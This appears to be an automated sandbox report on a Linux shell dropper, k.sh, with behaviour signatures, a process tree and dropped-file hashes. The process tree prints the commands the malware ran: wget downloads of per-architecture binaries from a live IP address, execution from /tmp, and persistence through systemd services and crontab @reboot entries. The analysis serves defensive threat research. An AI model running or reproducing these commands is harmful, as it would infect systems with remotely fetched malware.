Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    06/08/2026, 01:04

General

  • Target
    k.sh
  • Size 1KB
  • Sample260806-be537azfrf
  • SHA256 566e7e389cfed8aeaeb57badfeb406a7b1738fb09a4564a04b907d92f49b386f
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Modifies rc script 2 TTPs 2 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 2 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Write file to user bin folder 2 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 8 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/k.sh
    /tmp/k.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /usr/bin/wget
      wget http://94.154.43.158/disconnectraw.arm4 -O /tmp/arm4
      2⤵
      • Writes file to tmp directory
      PID:644
    • /bin/chmod
      chmod 777 /tmp/arm4
      2⤵
      • File and Directory Permissions Modification
      PID:667
    • /tmp/arm4
      /tmp/arm4 arm4
      2⤵
      • Modifies rc script
      • Modifies systemd
      • Write file to user bin folder
      • Changes its process name
      • Reads runtime system information
      PID:670
      • /bin/sh
        sh -c "systemctl enable dqw5sug47nd.service >/dev/null 2>&1"
        3⤵
          PID:675
          • /bin/systemctl
            systemctl enable dqw5sug47nd.service
            4⤵
            • Enumerates kernel/hardware configuration
            • Reads runtime system information
            PID:676
        • /bin/sh
          sh -c "(crontab -l 2>/dev/null | grep -qF '/usr/local/bin/osm4d58qekffseg') || { (crontab -l 2>/dev/null; echo '@reboot /usr/local/bin/osm4d58qekffseg &') | crontab -; } >/dev/null 2>&1"
          3⤵
            PID:692
            • /bin/grep
              grep -qF /usr/local/bin/osm4d58qekffseg
              4⤵
                PID:695
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:694
              • /usr/bin/crontab
                crontab -
                4⤵
                • Creates/modifies Cron job
                • Reads runtime system information
                PID:697
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:698
          • /bin/rm
            rm -rf /tmp/arm4
            2⤵
              PID:673
            • /usr/bin/wget
              wget http://94.154.43.158/disconnectraw.arm7 -O /tmp/arm7
              2⤵
              • Writes file to tmp directory
              PID:674
            • /bin/chmod
              chmod 777 /tmp/arm7
              2⤵
              • File and Directory Permissions Modification
              PID:685
            • /tmp/arm7
              /tmp/arm7 arm7
              2⤵
              • Enumerates active TCP sockets
              • Modifies rc script
              • Modifies systemd
              • Write file to user bin folder
              • Changes its process name
              • Reads system network configuration
              • Reads runtime system information
              PID:687
              • /bin/sh
                sh -c "systemctl enable uiledxkjt6q.service >/dev/null 2>&1"
                3⤵
                  PID:752
                  • /bin/systemctl
                    systemctl enable uiledxkjt6q.service
                    4⤵
                      PID:753
                  • /bin/sh
                    sh -c "(crontab -l 2>/dev/null | grep -qF '/usr/local/bin/t0ilx5h4e7g8i4n') || { (crontab -l 2>/dev/null; echo '@reboot /usr/local/bin/t0ilx5h4e7g8i4n &') | crontab -; } >/dev/null 2>&1"
                    3⤵
                      PID:754
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:756
                      • /bin/grep
                        grep -qF /usr/local/bin/t0ilx5h4e7g8i4n
                        4⤵
                          PID:757
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:759
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:760
                    • /bin/rm
                      rm -rf /tmp/arm7
                      2⤵
                        PID:750
                      • /usr/bin/wget
                        wget http://94.154.43.158/disconnectraw.aarch64 -O /tmp/aarch64
                        2⤵
                        • Writes file to tmp directory
                        PID:751
                      • /bin/chmod
                        chmod 777 /tmp/aarch64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:766
                      • /tmp/aarch64
                        /tmp/aarch64 aarch64
                        2⤵
                          PID:767
                        • /bin/rm
                          rm -rf /tmp/aarch64
                          2⤵
                            PID:769
                          • /usr/bin/wget
                            wget http://94.154.43.158/disconnectraw.x86 -O /tmp/x86
                            2⤵
                            • Writes file to tmp directory
                            PID:770
                          • /bin/chmod
                            chmod 777 /tmp/x86
                            2⤵
                            • File and Directory Permissions Modification
                            PID:772
                          • /tmp/x86
                            /tmp/x86 x86
                            2⤵
                              PID:774
                            • /bin/rm
                              rm -rf /tmp/x86
                              2⤵
                                PID:775
                              • /usr/bin/wget
                                wget http://94.154.43.158/disconnectraw.x86_64 -O /tmp/x86_64
                                2⤵
                                • Writes file to tmp directory
                                PID:777
                              • /bin/chmod
                                chmod 777 /tmp/x86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:785
                              • /tmp/x86_64
                                /tmp/x86_64 x86_64
                                2⤵
                                  PID:786
                                • /bin/rm
                                  rm -rf /tmp/x86_64
                                  2⤵
                                    PID:787
                                  • /usr/bin/wget
                                    wget http://94.154.43.158/disconnectraw.mips -O /tmp/mips
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:789
                                  • /bin/chmod
                                    chmod 777 /tmp/mips
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:798
                                  • /tmp/mips
                                    /tmp/mips mips
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:800
                                  • /bin/rm
                                    rm -rf /tmp/mips
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:801
                                  • /usr/bin/wget
                                    wget http://94.154.43.158/disconnectraw.mipsel -O /tmp/mipsel
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:802
                                  • /bin/chmod
                                    chmod 777 /tmp/mipsel
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:812
                                  • /tmp/mipsel
                                    /tmp/mipsel mipsel
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:814
                                  • /bin/rm
                                    rm -rf /tmp/mipsel
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:815

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

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                                      Downloads

                                      dqw5sug47nd.service

                                      • Path /etc/systemd/system/dqw5sug47nd.service
                                      • Size 186B
                                      • SHA256 6bab070a67dadda393a8fc0791246faf3786c7c1675a3700244df62e0759092c
                                      • MD5 SHA1 SHA512 TLSH

                                      uiledxkjt6q.service

                                      • Path /etc/systemd/system/uiledxkjt6q.service
                                      • Size 186B
                                      • SHA256 08fd4ef601e3c1251b268a0ebba2aa861c7229975ec61c3ed5901add4c578b94
                                      • MD5 SHA1 SHA512 TLSH

                                      aarch64

                                      • Path /tmp/aarch64
                                      • Size 55KB
                                      • SHA256 049768ce81f1310f8bab20dc015e9dc515c390e53ad3479858292c4f68fdc3f6
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      arm4

                                      • Path /tmp/arm4
                                      • Size 113KB
                                      • SHA256 863709a3b2ad698aee58280f46803d17f4d2850536e860eece547eb874103325
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      arm7

                                      • Path /tmp/arm7
                                      • Size 109KB
                                      • SHA256 62885ef62f5ce8dbb0df9f8a8a9955f6badc1ff303d5b9c5b1338082f1c5b5f5
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      mips

                                      • Path /tmp/mips
                                      • Size 8KB
                                      • SHA256 15ff0337fbeff6ffa7b1ded1f554491f6465444accf0d6475f9e05b258ecb98a
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      mips

                                      • Path /tmp/mips
                                      • Size 71KB
                                      • SHA256 ced1fb29c31132cd4b9835821c84bc18682f4105860ad21cb3bbf9188952b0c5
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      mipsel

                                      • Path /tmp/mipsel
                                      • Size 8KB
                                      • SHA256 e41d37516d54863de80e95ed2410f894804e74d33890a1e6c80a72363e26872b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      mipsel

                                      • Path /tmp/mipsel
                                      • Size 71KB
                                      • SHA256 6fc241d24d9a6c1f783fb87ecd5f320818df1edd9ee8b79dfb0e351a40f88279
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      x86

                                      • Path /tmp/x86
                                      • Size 8KB
                                      • SHA256 a0fb8a906a4eb6feaabf7004ba994377cd3750ef284f002b3846f7a671632e33
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      x86

                                      • Path /tmp/x86
                                      • Size 105KB
                                      • SHA256 1e14a14b926e67704bbad749efc7ac10104da6004dca88945c21e17137437160
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      x86_64

                                      • Path /tmp/x86_64
                                      • Size 8KB
                                      • SHA256 423ecc7eac0e294ec352c46348caad907467d24ec89e9c70f8b33c901633e659
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      x86_64

                                      • Path /tmp/x86_64
                                      • Size 52KB
                                      • SHA256 a32d9c6a6bf9ac8a3ee3c7fe615274d6939095f85f7b62a60f7b4c6fafbd9501
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      tmp.3cH4SV

                                      • Path /var/spool/cron/crontabs/tmp.3cH4SV
                                      • Size 257B
                                      • SHA256 cd893daaa4bb19b94513122dc640be8fab7cd38cb8fb7574064008409d88d038
                                      • MD5 SHA1 SHA512 TLSH

                                      tmp.Qpgw9b

                                      • Path /var/spool/cron/crontabs/tmp.Qpgw9b
                                      • Size 216B
                                      • SHA256 d0d2e124425dc21bd9669d4b26b1429c8b5a0d57b2ff3ccab4c41d863e2724fe
                                      • MD5 SHA1 SHA512 TLSH